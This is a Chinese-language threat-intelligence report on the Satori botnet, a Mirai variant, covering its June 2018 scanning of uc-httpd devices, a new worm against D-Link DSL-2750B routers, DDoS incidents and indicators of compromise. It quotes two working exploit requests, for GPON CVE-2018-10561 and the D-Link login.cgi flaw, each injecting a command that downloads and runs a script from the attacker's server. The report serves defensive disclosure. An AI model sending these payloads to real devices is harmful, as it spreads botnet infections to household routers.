僵尸永远不死,Satori也拒绝凋零

两天前,2018-06-14,我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 (CVE-2018-10088) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。

3小时前,就在我们撰写本篇文章的同时,Satori 作者又发布了一个更新版本。这个更新是个蠕虫,针对 D-Link DSL-2750B 设备,对应的漏洞利用在5月25日刚刚 公开

僵尸永远不死

Satori 是 Mirai 僵尸网络的一个变种,我们首次注意到该僵尸网络是 2017-11-22。一周之后,2017-12-05,Satori在12小时内感染了超过26万家用路由器设备,成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它,而是给予了它一个独立的名字 Satori。以上这些记录在我们的 报告报告 中。

在那之后,安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看,这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。

2018-01-08,我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是,新变种开始渗透互联网上现存Claymore Miner挖矿设备,通过攻击其3333 管理端口,替换钱包地址,并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 报告 中批露了 Satori 的这些活动。

2018-05-10,GPON 漏洞(CVE-2018-10561,CVE-2018-10562)公布以后不到 10 天,Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手,成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 报告

现在这篇是我们关于Satori 的第五份报告。僵尸永远不死,而且它们拒绝凋零。Satori的作者选择留在了场上。

Satori 过去几天里的活动更新

Satori 近期活动的核心样本如下:

hxxp://185.62.190.191/arm.bot.le  

该样本是由其它感染设备投入的,利用的漏洞是 GPON( CVE-2018-10561),投入时的攻击Payload 是:

POST /GponForm/diag_Form?images/ HTTP/1.1  
Host: 127.0.0.1:8080  
Connection: keep-alive  
Accept-Encoding: gzip, deflate  
Accept: */*  
User-Agent: Hello, World  
Content-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0  

在该样本中:

  • 信息收集和上报:扫描互联网,寻找拥有 “uc-httpd 1.0.0” 设备指纹的IP地址,并将收集到的IP地址汇报至 r[.]rippr.cc:48101;
  • 控制主机:95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同,但本文不做展开;
  • DDoS攻击能力:集成四种 DDoS 攻击向量 udp_flood,syn_flood,tcp_ack_flood,gre_flood;

在我们观察的过程中,该分支已经至少发起过两次DDoS攻击,攻击细节如下:

  • 2018-06-13 21:09:00 前后:TCP_ACK_FLOOD->(144.217.47.56:25565)
  • 2018-06-14 23:00:00 前后:UDP_FLOOD -> (185.71.67.43:53)

这两次攻击分别与我们DDoSMon 上的 观察1观察2 一致。

该样本导致了近期 80和8000 端口上的扫描流量

我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。

这两个端口上的流量增长,均是 Satori 样本 arm.bot.le 及其更新版本导致的:

  • 端口80:扫描流量中的首包为 GET / HTTP/1.0,这与我们在 arm.bot.le 样本中观察到的 payload 一致;
  • 端口8000:扫描流量中的首包为 HEAD / HTTP/1.0,这与我们在 arm.bot.le 的更新版本中观察到的payload一致。

同源性分析

我们判定当前这些恶意样本与之前的 Satori 是同源的:

  • 地址同源:样本下载URL(hxxp://185.62.190.191/arm.bot.le) 中的IP地址 185.62.190.191 ,是新样本的Downloader,这个IP地址也是 Satori 在之前 GPON 漏洞Party 中使用的Downloader 地址。
  • 代码同源:一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。

上面两图展示的加密代码片段分别来自:

  • 本轮的 Satori 样本:F8D1D92E9B74445F2A0D7F1FEB78D639,
  • 之前的 Satori Okiru 分支 : 0D39BF8EE7AC89DEC5DD8E541A828E15,

Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址

Satori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址,相关伪代码见后。

一旦发现匹配的目标,便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址,避免了样本硬编码。

Satori 当前的更新

3小时前,2018-06-15 07:00:00,就在编辑们紧张撰写本文的同时,Satori 又做了更新。值得警惕的是,这个更新是个蠕虫:

  • 针对漏洞:D-Link DSL-2750B 的命令执行漏洞
  • 漏洞利用:在5月25日刚刚 公开
  • 扫描端口:80 和 8080
  • 蠕虫式传播:该漏洞利用同时出现在攻击投入的Payload中,以及投入成功后得到的样本中。如此,样本能够传播自身,形成蠕虫式传播
  • C2:95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。

样本来自:

e0278453d814d64365ce22a0c543ecb6    hxxp://185.62.190.191/r  
b288d2f404963fbc7ab03fcb51885cc3    hxxp://185.62.190.191/mipsel.bot.le  
78191f8f942b8c9b3b6cceb743cefb03    hxxp://185.62.190.191/arm7.bot.le  
753cbfec2475be870003a47b00e8e372    hxxp://185.62.190.191/arm.bot.le  
0a44d64fdf9aebfedf433fb679b8b289    hxxp://185.62.190.191/mips.bot.be  

样本的投入 Payload :

GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1  
Host: 127.0.0.1  
Connection: keep-alive  
Accept-Encoding: gzip, deflate  
Accept: */*  
User-Agent: Hello, World  

该攻击 Payload 同时出现在样本中:

IoC

185.62.190.191          Satori Downloader  
180.101.204.161:48101   Satori Report  
r.rippr.cc              Satori Reporter listed in this host's DNS TXT record  
95.215.62.169:5600      Satori C2  
i.rippr.cc              Satori C2 listed in this host's DNS TXT record  

Satori Malware Sample md5

f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm  
f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7  
f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le  
99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl  
99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le  
e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7  
e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le  
f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm  
f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le  
656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le  
31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le  
426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le  
44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le  
476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le  
bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le  
e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r